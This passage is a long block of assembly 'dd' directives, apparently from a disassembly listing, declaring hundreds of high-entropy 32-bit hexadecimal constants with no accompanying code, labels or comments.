		dd 2466CD7Fh, 1E85E45Ch, 0A347073Fh, 0D675884Ah, 82481261h
		dd 7EA89F4h, 96A16E53h,	0BBE0145Ah, 0A9EAA6DCh,	98725491h
		dd 0D69A668Ch, 0B99880ABh, 0B31599Fh, 0A8514F2Ch, 0D2AF63Ch
		dd 167D475Dh, 37D14608h, 0BF5686FEh, 0FCE24F4Bh, 6040FC19h
		dd 4412467Bh, 0D22775DBh, 2503E546h, 0B77D5E17h, 0F7CB4477h
		dd 5A27F75Bh, 0C631A704h, 0F005A42Eh, 0B1F627F5h, 0BAD9A908h
		dd 0B67B561Ah, 50C04975h, 0C67861C0h, 80D2C666h, 436A6E41h
		dd 6EAC2D77h, 31D5D140h, 136E70D0h, 0AAD45F42h,	518689DBh
		dd 0A6628F80h, 7C784DB4h, 633D93E4h, 0E0FA482Fh, 0F7EBFD97h
		dd 61612D37h, 76EA09BFh, 980326BEh, 0F3F57296h,	0DF1D99D1h
		dd 0BC0C7E79h, 4570D3F9h, 0A381A41Ch, 63C83FA1h, 880A7ED8h
		dd 4D5F6100h, 0F1B88E8Bh, 0ABC384Ch, 52E842E3h,	48BA2C90h
		dd 0ADF6B311h, 48C0535Fh, 6457E9h, 0B5A303DAh, 0B7BB2690h
		dd 599EE21Ch, 0A4D8A0AAh, 920E4E75h, 0EFE3EFEDh, 93C726C5h
		dd 0DD2C89ACh, 0EFAB9289h, 0C79F4725h, 0A326E5CCh, 310295Eh
		dd 0A7CD4031h, 4D8FC069h, 0A382BA9Dh, 0F4F17596h, 0A6C51454h
		dd 4BC446EFh, 2443CB84h, 0FF66A88Fh, 0C974512Fh, 215FC72Fh
		dd 0DC503495h, 6465FFF2h, 0D926EB9Fh, 0FD61F5D9h, 8CD276A8h
		dd 65AB6633h, 0D74ABACAh, 9542EA3h, 0BE016921h,	781B601Fh
		dd 7A0F52Fh, 96720687h,	1AF23768h, 0C060042Bh, 0D58F6778h
		dd 0D0AE5FE0h, 299159F3h, 25103A86h, 3AB1EA9Ch,	4753DB39h
		dd 0D23C4F9Dh, 26112BF2h, 0D18B99DAh, 4209A1FAh, 0B8E0E002h
		dd 94B73174h, 195B7676h, 0DC022FD5h, 0D21B90B5h, 0EB221056h
		dd 174F14DAh, 0B7A32355h, 0B1A0181h, 4D7E8DB5h,	0E1F4091h
		dd 0BB4B9CC6h, 33906C7h, 399C7F65h, 3ABC6E26h, 7F935598h
		dd 93348F0Ch, 0C77F8EDEh, 0B1B1FBBEh, 29C67C49h, 0DA6F4C4Eh
		dd 0ED327F18h, 84A246Ch, 0D82B94FAh, 0CB88F1Dh,	85CB40EAh
		dd 0F6970282h, 41A8EDBAh, 39D278D6h, 9B700E8Ch,	0BF7248A6h
		dd 0EED96609h, 0E5FB89D0h, 2FD90E9h, 0E6386626h, 8416C139h
		dd 85652334h, 0D9A12138h, 65F0682Ah, 7AF9C68h, 0DE9401F8h
		dd 702EBB3Ch, 0CCB38E79h, 0F741353Ah, 0E51398E7h, 9B73B670h
		dd 0FF753254h, 5CEEDC2Bh, 61135Dh, 0B2CBA630h, 13488857h
		dd 98606CAFh, 465F843Ah, 13E76ADFh, 0A1C44A0Ah,	8083FAB6h
		dd 34170E4Ah, 0B54FEC80h, 727E4790h, 0F0A14483h, 3B6C7DF4h
		dd 0A6FEC3BAh, 0CD3A0958h, 946C9B89h, 669E827Dh, 0F0C66B2Eh
		dd 0B8352638h, 0F1019BB8h, 0AB0C7636h, 72D1542h, 19094E2Ah
		dd 1EAFBCDAh, 0FCE9E23Ah, 1B1F3B4Fh, 65074B95h,	1A5EC104h
		dd 59B2EB09h, 20C2E88h,	0CEF719CBh, 494139CDh, 4BEFA606h
		dd 0D95B2ABDh, 0FC5AFEDAh, 0EB787EDFh, 12ABE679h, 63BA3CDFh
		dd 45403866h, 0FFA49D63h, 63184F4Fh, 51806B35h,	0E6A4460Ah
		dd 0B31A35BCh, 0F8946190h, 74536A9Fh, 65FC7D37h, 0BA17BD35h
		dd 5E1CA635h, 0F96DF192h, 5A309B83h, 0AE57EE56h, 0DAF2BA6Eh
		dd 0FFC4866Ah, 464FFEA9h, 0DBB92F13h, 95D9E4AAh, 887038E8h
		dd 0C1DDCFD0h, 0B58C2A98h, 13B67206h, 2995A655h, 0E34176C9h
		dd 0DCB0FA2Ch, 0F0F959B8h, 1FF8EA9Ah, 508E0105h, 6B87A0D7h
		dd 3104399Fh, 5FF929A2h, 7C24B7E8h, 27BE77CDh, 6DE47A97h
		dd 13897A21h, 0E84C7883h, 0FA968595h, 0CC2B1F4Bh, 0A6146817h
		dd 6575A22h, 0C00B55D0h, 1C392Ah, 10E2C1Fh, 332BDC75h
		dd 0E4A78F6Ah, 9BF0089Ch, 88AAE34Bh, 0EA18AC9Eh, 31F97B58h
		dd 0D084B8A7h, 4D57CE76h, 2AC0D808h, 82F7FF4Dh,	0B48F4A2Fh
		dd 0AA398DCCh, 0FCA0E7F0h, 76B2B2C4h, 9A5DF364h, 0B4A3C6DEh
		dd 224882E6h, 8780ACCDh, 1A7B7913h, 70D76C2Bh, 0A10C66EFh
		dd 7BF9E24Eh, 1A1B6FCBh, 2DAE6F91h, 6E46E3C9h, 0D416E426h
		dd 0F1B4FAFFh, 0AE9106D2h, 0E9ED3A5Eh, 0D9DE1B7Bh, 0A06D5AF9h
		dd 0E80E2C9Bh, 0BB99A273h, 74F8EDACh, 1881473h,	7A54B795h
		dd 818096E8h, 6DD61F17h, 3B8F14D1h, 89130DE3h, 0DB6A7BBAh
		dd 70F104B9h, 0D706D75Eh, 1453370Eh, 3DDF9771h,	4C88CAB2h
		dd 0FE02DD06h, 8A2FF582h, 7BC2E38Dh, 7B8F042Dh,	0E93F2E73h
		dd 63CFFE3Fh, 46BF4E91h, 0C450C6A0h, 0E4D1113Fh, 3B90A4AAh
		dd 28B72888h, 0C8CF8656h, 0E1EADEA2h, 0F5C9E9BAh, 4B7EB501h
		dd 4267DA97h, 214C6C8Fh, 3AC4C045h, 7BE1F07Eh, 50A4E966h
		dd 50FC0E26h, 934BC7D0h, 0D2ABE18Ch, 0C86BF009h, 0D39AB489h
		dd 1D04A7EBh, 96DBCE45h, 7371623Ah, 0D436A446h,	0CA5CC3Dh
		dd 0B85D16Ah, 0FCA8B14Dh
		dd 0A47F3EBBh, 7DD8100h, 0F1FB2AC7h, 6AF099D7h,	0B457CF53h
		dd 81AF60C3h, 6963C19h,	0C7ECCB90h, 38E54F3h, 675AC4E6h
		dd 0FFCE2013h, 4FE28671h, 8A0CC852h, 8576C3FAh,	8924811Ah
		dd 9AE41AEBh, 0AC42BB35h, 23C2FEB1h, 0FC3CF7E7h, 0ADB0F97Ah
		dd 0A0A343C1h, 0F48890BDh, 56510B95h, 6FAC70BBh, 4DD4E062h
		dd 3C69B2D9h, 39B662BEh, 46EDC8B8h, 9398C4F6h, 0C5DCEC34h
		dd 6A80C47Ah, 0E2FCB70Ah, 7394DD72h, 0AA57A4h, 72F162B9h
		dd 1A6FE2AEh, 6F5FDB9Ch, 0FB344F7Ch, 626F2C22h,	864A6DFCh
		dd 3EEC503Ah, 5D2BD926h, 15B20EB5h, 0C6FF702Ch,	7D68D77Bh
		dd 0F1A3203Ch, 0D1FFCEC6h, 0FE1251A0h, 0EC5042CEh, 0FBA211F3h
		dd 569260EFh, 0EFABED4h, 0FC9ECA93h, 0CED08EFFh, 0B37872FBh
		dd 6156D6F7h, 28142C53h, 64A1D003h, 3830F0FFh, 6F73F32Ah
		dd 41D72CEh, 0A3611F62h, 0A20E6401h, 89E60F4Dh,	0A55F44F9h
		dd 99BC575Eh, 553ABF6Ch, 1B23461h, 6E3922DFh, 0C40C468Ah
		dd 8E10FB52h, 1F283B34h, 0B8FAD22Fh, 38587038h,	0AC42552Bh
		dd 600C567Bh, 0FCDC2F10h, 52FC43B0h, 6CE2F3CDh,	0A7EDF3EFh
		dd 0A75C0A08h, 0D25BC77Eh, 67C0C919h, 0B55AA048h, 1A1B3A31h
		dd 0A9B1CC81h, 0FE3A2F59h, 6507F038h, 8288E152h, 7076BA27h
		dd 3C42261Ah, 90246636h, 6B7558A9h, 0BA440F6Eh,	14DB96FCh
		dd 0A53A2648h, 8BE5926Fh, 31571761h, 0C85BEF5Bh, 980C546Fh
		dd 0A11B93A8h, 3375C503h, 6A74E4E0h, 8D2280D2h,	11D0C3Bh
		dd 28A47153h, 0F11E0AF1h, 1D4515E6h, 27F280BAh,	0C7B5A027h
		dd 16D04328h, 0D6DC5523h, 2229BB42h, 81A0B8A9h,	360ABD63h
		dd 9FEA2868h, 8F95ED68h, 0A7CB0A4Ah, 0EC4D55F2h, 7BD679A5h
		dd 0A1CB4BE3h, 0CAB5EAE1h, 0BEE0F62Eh, 0D2F6F380h, 15BEB26h
		dd 5428E4DFh, 889FF225h, 7BB0A988h, 43F193Bh, 7C7E28Eh
		dd 0C7D0AA59h, 517A40F3h, 44E63C38h, 22E348B9h,	66935BF0h
		dd 90C55E51h, 55DB408Eh, 707A70h, 0B81788EBh, 226D3539h
		dd 597B179Ah, 361A653Dh, 7410997Ah, 0AB40A963h,	0CFEE7508h
		dd 0B4AD17D5h, 0D00559BCh, 0C3FAB206h, 0EA42D5E5h, 0F9271C08h
		dd 0EA5AA3E4h, 4E6A4A34h, 0CB9C2564h, 6E3148E3h, 88DB3453h
		dd 84C57080h, 0E5A7A238h, 0E1D13F47h, 467320B0h, 0F9A4234Ch
		dd 0CA105509h, 0C63B236Ch, 58A60249h, 0D15EF0ACh, 0DCF377E7h
		dd 9D9A05B1h, 0C60413B7h, 82417DC7h, 0B866A69Ah, 0B7A84520h
		dd 7296CC18h, 7837EFEAh, 67AEB9E6h, 5F187CE8h, 107023E7h
		dd 9162904Ah, 0EC77955Ah, 0E2636825h, 7D28A74Eh, 0A184A30h
		dd 0C0078C7h, 562ED2BFh, 14974B54h, 0F387530Ah,	0B11C6B19h
		dd 4D4FBB93h, 30A8DC81h, 4A9551F5h, 59D9B3B8h, 0A95BA7C6h
		dd 278E05A6h, 6194E73Ah, 6AB12788h, 58C7F575h, 8E2BC332h
		dd 0C0A5F7FAh, 3474EA88h, 47566775h, 496C6335h,	58EE42D9h
		dd 124CE59h, 0D5303DF6h, 34DF2E74h, 38D4A019h, 0AA190DC6h
		dd 0F2DFB231h, 3483EC7Fh, 7BA220D1h, 6927FA15h,	9AF177A2h
		dd 2BF76F10h, 75C4DF5Ch, 69895368h, 0E414CF64h,	662EBDDEh
		dd 0A4C1F7FDh, 26F6F1DCh, 8F69239Eh, 0A542111Ah, 0CF11055Ah
		dd 0ED6E7B1h, 16B0625h,	7FAC148h, 0EC8BBD61h, 0B8418BDh
		dd 17E2CB9Dh, 2BE2CDD1h, 0DD96BFBEh, 39F7022Ah,	0E5BD1BA3h
		dd 0A523585h, 628F6A07h, 4D6A1999h, 0A3BFA2CEh,	0C7D795A1h
		dd 0DF813EE3h, 456C59CCh, 0B8D5701Fh, 0CBAC03E1h, 0AD9CC588h
		dd 666570FFh, 68E074F2h, 0D4F9101h, 78F71C20h, 0DAC50D7Eh
		dd 67A86EFBh, 7AC26983h, 0E4BFCE17h, 619F1AFEh,	0A716FB14h
		dd 6D2CBEEBh, 3A72F7E0h, 2C25D434h, 637EE5D6h, 9635D92Dh
		dd 1D1F2726h, 0FBB3A927h, 4575DEA2h, 0F0AE5105h, 0EB1E678h
		dd 0C146665Ah, 0ED1CDD9Dh, 68EACE20h, 4CAC456Fh, 0C6C83B37h
		dd 88C1FD48h, 61A100BDh, 74A0E351h, 0EBD3BB16h,	0CBBDFC7Fh
		dd 4E6BFD1h, 0A83F36ECh, 6D8EB0FCh, 3AF212FEh, 6CA3ABCDh
		dd 9F010BC3h, 264587FFh, 3D988A11h, 0D245F8A7h,	9B3EA899h
		dd 0DC67ED03h, 0D5EA84A4h, 0A445B1D4h, 804058F5h, 1847822Bh
		dd 1BA796DAh, 4B573DF8h, 47B0C3B8h, 36045C0Bh, 36D3D08Fh
		dd 3E7EB848h, 0C527B89Ah, 0A79CCC84h, 0FEFF72F2h, 856A5E5Fh
		dd 60B24F3Ch, 0BCB1CA7Dh, 98D7F464h, 581A2664h,	270285D3h
		dd 40697FF8h, 4B44D32Bh, 464D0CD9h, 0FE089391h,	6F317B81h
		dd 9B9C08C8h, 8F8A4C6Dh, 1A679FABh, 49AA0A94h, 27A440F4h
		dd 1196E552h, 0CC6496B2h, 0CFA54A81h, 986EE112h, 98417B01h
		dd 99C7565Ch, 50016BBBh, 0A665F1h, 86133198h, 71041538h
		dd 8F0B11B1h, 2CF08429h, 7C2FDFBBh, 0B3BA039Dh,	8EF4B76Fh
		dd 199F43D9h, 93ACD7AAh, 9631E391h, 391AB39h, 0E12C99Bh
		dd 58087C41h, 0CA56341Bh, 7B7A9CF1h, 956EC387h,	66E4AB4Ch
		dd 0FD89B8FBh, 38A630F6h, 0ADF2CA3Ah, 7A604B37h, 0C4DFD09Eh
		dd 0F0D9929Eh, 1AF8A37Ch, 58E08675h, 0B0221F6h,	9359E59Eh
		dd 7D019737h, 54413FA4h, 7A4AD3Dh, 1F180934h, 0D4BA3136h
		dd 0A5394FC7h, 0A9ABF22Ah, 0E0853655h, 0BE715EDh, 6080FC19h
		dd 20174F4Ah, 52FDBCE8h, 6712268Ch, 75BC4E32h, 0D9DB7F7Eh
		dd 2E64F83Ch, 40D04300h, 7424A11Dh, 8D83EEF1h, 2DEE186h
		dd 65DC0F56h, 2C637220h, 78439C56h, 0D0CE662Dh,	168E1CB5h
		dd 3F1D3C5Eh, 446C6211h, 0BE65A5E4h, 0A4827C28h, 0BF13CCC2h
		dd 7D36435Fh, 64D2E257h, 11C526D4h, 64A06777h, 76002FB8h
		dd 27D6CC55h, 0CBF8DAA2h, 0A5521399h, 0C92FBF6Ch, 0B536ACA0h
		dd 0C5D2018h, 0C6CE76B6h, 9D7B5CE4h, 4EB59751h,	17E2F79h
		dd 8070E036h, 108E2C06h, 0A56A7FBDh, 10190C34h,	0DD9D59BDh
		dd 24FF3EA9h, 178716A6h, 0DE42B5D1h, 1F586243h,	7FE00807h
		dd 96140C74h, 3B59EB5Fh, 0F0144AE3h, 2A736955h,	0E3D332D8h
		dd 0C1446ECFh, 12747FE7h, 6457F197h, 31DD4ECAh,	0EB8DF578h
		dd 0BB160388h, 6B050A93h, 96DFB85Eh, 159092E1h,	3DA066FCh
		dd 2235DAFFh, 2C4AE651h, 1D83B1D9h, 5D700FF3h, 2C1B9A6Bh
		dd 22381235h, 2537D757h, 0CA557ADBh, 0C040B835h, 0F76DA21Fh
		dd 2ACE4FBBh, 0CB9E6F45h, 70C964D6h, 36E46137h,	352086BBh
		dd 0DE291728h, 0F1714DF4h, 0DA3A67BEh, 7CA6BC9Ch, 3DEE8162h
		dd 8A6DBE21h, 46F1F190h, 53C2814Fh, 0BC8CB927h,	62968FF4h
		dd 49DEB334h, 5AAD7774h, 0C8FB7B1Bh, 0BBD29A7Bh, 9091D60Fh
		dd 872AACECh, 17E66549h, 0C737DAF6h, 259D34E1h,	85B08C17h
		dd 0B3EA9E3Dh, 67273E6Ah, 40AE10C9h, 0C263C7ABh, 3D5EF56h
		dd 0F2D78BBDh, 99062C41h, 0B11C8764h, 9272D412h, 0A875CD2Ch
		dd 0E01DC792h, 0D5CD3BA0h, 0A2364D1Ah, 383F0A9Eh, 66D7110Ah
		dd 5F21F882h, 0B2F4CD40h, 85006308h, 466A8CE8h,	0EECEF797h
		dd 0EA520915h, 4A739707h, 0FEE3F538h, 0E45A14F8h, 0B9BCB12Ah
		dd 66B2F98Dh, 0D97685Bh, 2BA05DF0h, 0E923BAE6h,	0A0EA0DDDh
		dd 0E3D7E1CFh, 991A3BDAh, 0FFA0B5D7h, 95A42316h, 0FDBF3F88h
		dd 0D2159843h, 0B1DE8B2h, 463E91A0h, 40241C7Ch,	0A3778A35h
		dd 7D721067h, 0FE14C6B6h, 44CDB0E7h, 0FD9E083Ch, 1D1AF048h
		dd 98AE6B10h, 0BA7A8BB0h, 19C335EBh, 0FF4A14F6h, 8CFCCA78h
		dd 0B702B8BAh, 678A0D0h, 27599253h, 3D5E3E3Dh, 8CB367F4h
		dd 93D19BBAh, 0F820B71Dh, 2C9523F6h, 0C793B242h, 68CB4668h
		dd 54DB6F6Eh, 0C979B859h
		dd 87FF8B40h, 8B6741CAh, 534EDE36h, 558F28E3h, 0BB1BA45Ch
		dd 57B63A81h, 54632FCBh, 0BCB90308h, 0CFF262D7h, 8A75F395h
		dd 0F47251A1h, 0C49B83F5h, 49BD3C78h, 8E40FFE4h, 0FEED57D8h
		dd 3EB17F4Dh, 0F50BD34Eh, 3B66CA09h, 76A1C22Eh,	0D098D655h
		dd 1E6D3503h, 0FB7B9C5Fh, 21A6FD58h, 5DEEC5B1h,	55DC31FDh
		dd 7E438EC2h, 0EB3D6A59h, 362A1586h, 18218E46h,	6EACF7CBh
		dd 0F4C44D21h, 0F633DF69h, 0E3E88D64h, 0F219A7E7h, 0A1312D11h
		dd 0F62D66F3h, 0E68342EBh, 21547255h, 0F997D701h, 8CD5E618h
		dd 0B55D8A49h, 911FF147h, 735039A8h, 0B7C2200Fh, 1743CD33h
		dd 25CA067h, 0BFA90368h, 4915CFB2h, 72A2F2F5h, 0CDFAAE6Eh
		dd 32DE59E7h, 1CF0BE6Fh, 0FA6CFA16h, 4F59EFBDh,	0FADB1009h
		dd 0ACE6CC9h, 8254F98Bh, 0B1EEEE6Bh, 0DA585806h, 0C0212870h
		dd 70D7609Ch, 6ADC5EAEh, 3FE9BB4Dh, 8A9BDE96h, 97BC2331h
		dd 8A857CBBh, 3ECD0B85h, 6EDCD9A7h, 0BDCCC326h,	0BE9F32E7h
		dd 0C9DEDC07h, 44FECAEAh, 6BA5F75Fh, 2908D14Ch,	65079B5Ah
		dd 0DBA2CE4Ah, 58C4663Bh, 5770CF46h, 0A43C2EF2h, 73D3F6C2h
		dd 0C453157Eh, 0B98E4D6h, 956D8EECh, 32E41359h,	0C8FD460Eh
		dd 8C54E2Bh, 1327B791h,	0EE214289h, 58BAE650h, 5797768Dh
		dd 0F3908212h, 0F8744308h, 7592953h, 7F1BF13Ch,	0C0C73F76h
		dd 840E7177h, 16896h, 9DBD72DCh, 0F1B3FCA0h, 3E533644h
		dd 4C42DA25h, 4001A326h, 0E513A10Fh, 0DFF3BC27h, 0CE76DDB8h
		dd 74C74085h, 66617351h, 61E610DFh, 97962665h, 4E0FE724h
		dd 0AB5753D7h, 0DBC2F466h, 259A6CDFh, 0C88BA592h, 0F57C5B90h
		dd 2F965B86h, 4A95BACh,	0F227F938h, 6E2AF692h, 76BFDF29h
		dd 2577DB5Eh, 0B6D1B308h, 822B2D7Ah, 739010BEh,	474C2E5Eh
		dd 16B93EDEh, 0FDA97903h, 665D0257h, 5703223Eh,	2939654Ah
		dd 344682C9h, 0C0A28229h, 7B8F460Eh, 0B57F79DEh, 26DC6CD8h
		dd 0B68E5C0Dh, 43C1B5A3h, 93C53413h, 4332A9AAh,	2CD840B2h
		dd 0B52CA630h, 9DC42BC5h, 921692B2h, 0C989CC94h, 629DF457h
		dd 91565890h, 0CA935341h, 2AAFA457h, 0F56D1B54h, 365D718Ah
		dd 4E5FE17h, 72520736h,	184B4CD1h, 41469EA2h, 3161D48Ah
		dd 0BE3FD8BEh, 0B0BD60F0h, 0B052A593h, 0E87970F8h, 0AED58320h
		dd 45B21BBBh, 1C9C0669h, 331C473Bh, 4C45D9A2h, 58533F23h
		dd 0BD48AB96h, 0E3BF0E2Fh, 7D2BF3EDh, 64E64709h, 0F171CD61h
		dd 0AE4FA60Eh, 0CF79743Bh, 0FE2FCBA3h, 1B178231h, 0C4DE8A86h
		dd 0EB3ED7A8h, 7DF86F24h, 6A8558F8h, 0C989078Ch, 4AE311BCh
		dd 0FE900AFCh, 14FB0421h, 0E6A5AC62h, 0D4E74352h, 3E65F6D6h
		dd 5AA1372Ah, 2C37ED17h, 67C9A5B6h, 0E7B6DBh, 152612A0h
		dd 4A5354CBh, 99B8619Ch, 4399F560h, 3318Ch, 5F03CDDBh
		dd 0E2FF4B30h, 5CFCD7DDh, 8FE9983Dh, 0D6861B32h, 9FABBC55h
		dd 37127F50h, 86398F09h, 46DA258Bh, 583529D2h, 0BC807C37h
		dd 1EC391AEh, 8B0DC2E5h, 0CC342B67h, 0A4A9DEC0h, 816B9566h
		dd 0D33AD67Dh, 0F20A4EE0h, 0F9B45FFh, 8D2E7EABh, 5184139h
		dd 0EEF0F75Eh, 0EFA69330h, 34537040h, 50BE5954h, 911D195Dh
		dd 28CC13B2h, 1EAFD830h, 0D54357F4h, 5C408589h,	986F2962h
		dd 88296CA5h, 1C111676h, 1E0EA96Ah, 9835868Dh, 0D7C1F0Ch
		dd 3BE972F2h, 274860F9h, 0BEE82679h, 5D513DFAh,	0F6F65B11h
		dd 50E19076h, 0C3F86CDBh, 0FA507A39h, 0FAEA295Bh, 62B33h
		dd 0C2A280C2h, 0BE44A7D8h, 1C771FA6h, 5D1C269Fh, 0AB28887Ch
		dd 36BA5989h, 8426FE63h, 0A6A655AEh, 0EA9ED27Ch, 0AE6D1B66h
		dd 0D0B8BE3Fh, 38763F3Ah, 990E9DDh, 1450BCA9h, 149C83C4h
		dd 4F14FBD7h, 8CA28D74h, 0CEA5BCACh, 941B6025h,	8887F98Dh
		dd 0AFE4FE82h, 0D464A18h, 1C7E1ABEh, 0A9E566D3h, 0ABF427A4h
		dd 0BE6D9885h, 5D5A849Ah, 8980EF35h, 0E87E9C84h, 0AF704C5Dh
		dd 380EF4C7h, 0E9512423h, 0E6EF3D5h, 14E59322h,	6945B7DDh
		dd 0C6CC49E3h, 0CB10DAC4h, 7AFF61B6h, 2BCF7F30h, 0DC69305h
		dd 0D4BF5757h, 6D379644h, 0EC3B2655h, 6B256871h, 49E6133Ch
		dd 8AB7D71Bh, 43A53A7Bh, 2F716F1Dh, 0D5484516h,	0A80BD297h
		dd 0D4BCE27Dh, 4D564939h, 0FDC9E1E4h, 3320DE6Eh, 7D419A49h
		dd 1F575BBCh, 0DCB6FC7h, 0B7082C10h, 68BFD370h,	0FAE213A9h
		dd 2AA7FD18h, 0D24B9485h, 95E79C96h, 7293EA1Ch,	0AF117BFBh
		dd 3452D564h, 128FAA06h, 871DF544h, 9FFBEC81h, 8D65090h
		dd 0E17AC9F9h, 0EF0BCD30h, 0D2B94D62h, 3EBF0C17h, 79BAD73h
		dd 0F7776874h, 4EB49EBFh, 0D6AB868Dh, 9FD61BF6h, 34A26DF2h
		dd 2EA1680Fh, 897A74DDh, 0DCFBF95Dh, 0F3E091A5h, 58C44C74h
		dd 795A9853h, 1E655919h, 61F10265h, 6F5E6C53h, 57B9B25Ch
		dd 0FD0CD1B1h, 0AB2C8A87h, 19FA1385h, 0F0B7FB3h, 0E8C4CF5Ch
		dd 903454CCh, 41A6345Fh, 0C6B1AC71h, 91D9F994h,	0E078CFB8h
		dd 6392DCBBh, 0F65B47B7h, 0A743CB80h, 67CC42F9h, 8D42CF6Ch
		dd 74E343Bh, 44BC2D77h,	5182CAEh, 7592755Ah, 0EB6E2E73h
		dd 0A4237B12h, 0A25319D7h, 29265DE7h, 0A023B2ADh, 0CB8E9577h
		dd 68D3595Bh, 674076AEh, 0B1EBF969h, 0DC937DE2h, 0AB3CA50Dh
		dd 829D5EFCh, 7E0039AFh, 582C8F11h, 0DDC3BCA6h,	8AC36BD3h
		dd 5A993CEFh, 8EA10B00h, 23357B21h, 61D64712h, 990A2ED8h
		dd 989EBFF5h, 7086A316h, 740A8AC0h, 6D05B8AFh, 53C5A6Dh
		dd 0D451E08Fh, 0DE559849h, 4F224204h, 0C0011861h, 9829AE3Ah
		dd 320546CDh, 5A5841CCh, 806D897Ah, 0BC722191h,	942E2999h
		dd 773B2BE8h, 5674F19Ah, 2DA18C8h, 0A7C22C6Ch, 4D2BD83Ch
		dd 72D415Ch, 82E889AFh,	0BC48E58Dh, 5AD0E6F4h, 8875F8E9h
		dd 0FE8A29A8h, 0F25EFBF5h, 7E5384E8h, 7059D55Dh, 0D00AACF2h
		dd 1587B45Fh, 95C5F316h, 0E68DD23Eh, 57E775B4h,	68C94174h
		dd 49E50C02h, 28D848C8h, 49507D38h, 0C3A42CD3h,	0F414B7A0h
		dd 2803FB3Fh, 0EFF8EEFAh, 597D2281h, 0B11E9099h, 79E2B105h
		dd 0F04A8Dh, 196F7D2Bh,	0B1EAB81Dh, 9C35386Ah, 308E3F70h
		dd 714696D2h, 0B1621007h, 32C0795Ch, 52BB65C6h,	181D9B61h
		dd 702E90A8h, 7D12FC27h, 0F4BF3D8Ch, 2CCA27ADh,	0EEAD2426h
		dd 70E62761h, 6A82F07Dh, 0F1B7958Bh, 556A8E80h,	39F0D27Fh
		dd 0D30C6E77h, 0E947A672h, 29C6473Fh, 1F41445Fh, 6A0D8560h
		dd 87CD83B1h, 0F9788F3Ah, 0DDAF4D32h, 0A664AE18h, 48E3F70Ch
		dd 0D1F415D0h, 8D09BA6h, 0EB5A3EC7h, 802F89EBh,	0E69DA86h
		dd 9EC9D8A6h, 6FFA4FD9h, 0BCC87581h, 25DC7905h,	24D6F841h
		dd 0B70D6C67h, 0E00693Bh, 5CC789EBh, 0C0FB9696h, 722CFB63h
		dd 0FF7A414h, 8B2F3378h, 242CFFD8h, 2C1FA755h, 19131CC0h
		dd 1BC9D4D5h, 9849BAACh, 3A0DFB26h, 0FCF263B6h,	0F0D037D9h
		dd 0D37F7222h, 0BEECC00Ah, 733FE82Bh, 1958B6BEh, 717649D0h
		dd 1C2E1D99h, 81A110ECh, 66C9BA3h, 176071F0h, 342BF07Ch
		dd 73714077h, 9E04FB3Bh, 0C537044Dh, 592719D4h,	605BD1E1h
		dd 57A2B9FDh, 1928B354h, 7FC926A1h, 6D5BCBD1h, 0EA8DA386h
		dd 20FCC1FCh, 31A68D9Dh, 0C52C1324h, 27CAB08Fh,	3D626D3Dh
		dd 2BDE7B75h, 0FDAEAF0Dh, 0A0788BFCh, 16BECC16h, 83F96C11h
		dd 7218B178h, 0F4F0F9F5h, 3EA2F2A2h, 0AF8FFB65h, 9A14A196h
		dd 65E155B1h, 5766F123h, 1C011C25h, 0C5B57E87h,	0F6F44EDBh
		dd 6D70909Eh, 7274B78Dh
		dd 0C36001FEh, 15FCEFAFh, 60F818CCh, 3B1B6B18h,	0F431CBC0h
		dd 50A85B57h, 4B6BED1Ah, 0B5922F6Dh, 0FC976A5h,	7FBB79Ch
		dd 0D1941754h, 162CD449h, 0FAB961FAh, 0CE159D2Bh, 0AF8E28F3h
		dd 74618DF4h, 0B2CE7377h, 0CD3D1A7Dh, 8F13825Eh, 82868D40h
		dd 6605FD4Fh, 0A911760Eh, 0F058CDDh, 0C53D3C80h, 0C671402Eh
		dd 0BAF3CADCh, 2E97E2B6h, 0B570060Ah, 1E057687h, 804D6AA2h
		dd 934F51D9h, 42CF2CA4h, 2F84B65h, 1E684990h, 1955D42Eh
		dd 650296B1h, 61D49358h, 52475395h, 0E33A9271h,	2B7778B1h
		dd 0F61E2EE5h, 0CBEA6799h, 3FB4107Dh, 809726BFh, 29E3CFC4h
		dd 6FE2C77Eh, 7AFCA736h, 0BA7A0282h, 0C36DD897h, 35E49289h
		dd 0EA2733F0h, 0B1655DC5h, 0D62370CBh, 1061BF19h, 7EB0894Eh
		dd 70040CC2h, 0E8E2E4B6h, 158FF43Dh, 0E40C16FDh, 0F06E827Eh
		dd 45A5EE75h, 0F2D31F20h, 4B73C40Fh, 66517741h,	18506F82h
		dd 89CA98DCh, 50D40513h, 7C26D7C9h, 1C4EFF57h, 5F1154E5h
		dd 0F7FB084Ch, 0B2215464h, 3693237h, 8E02A88Dh,	2AEE0509h
		dd 184E528Dh, 0C9AEB3F3h, 0ADFF7969h, 2ECB1192h, 0D746BC79h
		dd 7548BF0Fh, 48EAA3ADh, 9DC1E7ADh, 0DA0909EDh,	0AC202DA2h
		dd 0C8679995h, 975D522Ch, 6C42A754h, 43D6B7A1h,	5240F2B1h
		dd 5D765669h, 7E031ED9h, 3B3A8E15h, 99EB3AC3h, 8BB70735h
		dd 80287294h, 0E31A40FDh, 7AAFDBECh, 2B3B0079h,	75A507B4h
		dd 5BB6D60Bh, 77B68A8Eh, 4A0F4C3Eh, 0AFCD5AD3h,	0FAFEF135h
		dd 0C3EFE3F2h, 0DF7EBF37h, 0C761A318h, 13AFF063h, 9F6AF07Bh
		dd 0ABCD05F8h, 5F6E2E9Dh, 3AD99B2Fh, 0B6008EA4h, 63F02652h
		dd 0EF7D563Dh, 44E6D2D0h, 3D3C6B92h, 0DEB0C4D0h, 68BA90ECh
		dd 64D5CD32h, 947E5795h, 860A48Ch, 93F9326Ah, 7245063h
		dd 0D02D96B6h, 92CC9C4Fh, 3033726Ah, 0D42E6502h, 0D48ED85Ah
		dd 3DF90644h, 36990D4Eh, 0BB5A118h, 1159E211h, 0C5B2D82Eh
		dd 0C07A5FB6h, 3A12C792h, 0C3A66C78h, 0B19B7248h, 1ED95D64h
		dd 5A22651h, 2F4715B5h,	0D8D06B3Fh, 968571D1h, 7014E41h
		dd 0E630E6C2h, 2BA61C79h, 2CC6EEF1h, 5625DC04h,	4EA293E9h
		dd 0D3353551h, 7EB69D85h, 2F03F048h, 9BE94CF6h,	2F7687A9h
		dd 710F5115h, 1F84B5F6h, 8131C5D4h, 99A92C3Ch, 5995D3C8h
		dd 60FD5FB8h, 111A578Dh, 1721D665h, 381CE341h, 0D2139986h
		dd 0D701AF73h, 4875A0AEh, 2F8B43F6h, 4FE249F9h,	0DD53D4AFh
		dd 6795A52Ch, 1DA09337h, 0AF84AC4Eh, 12BE2B8Bh,	0EB2E5676h
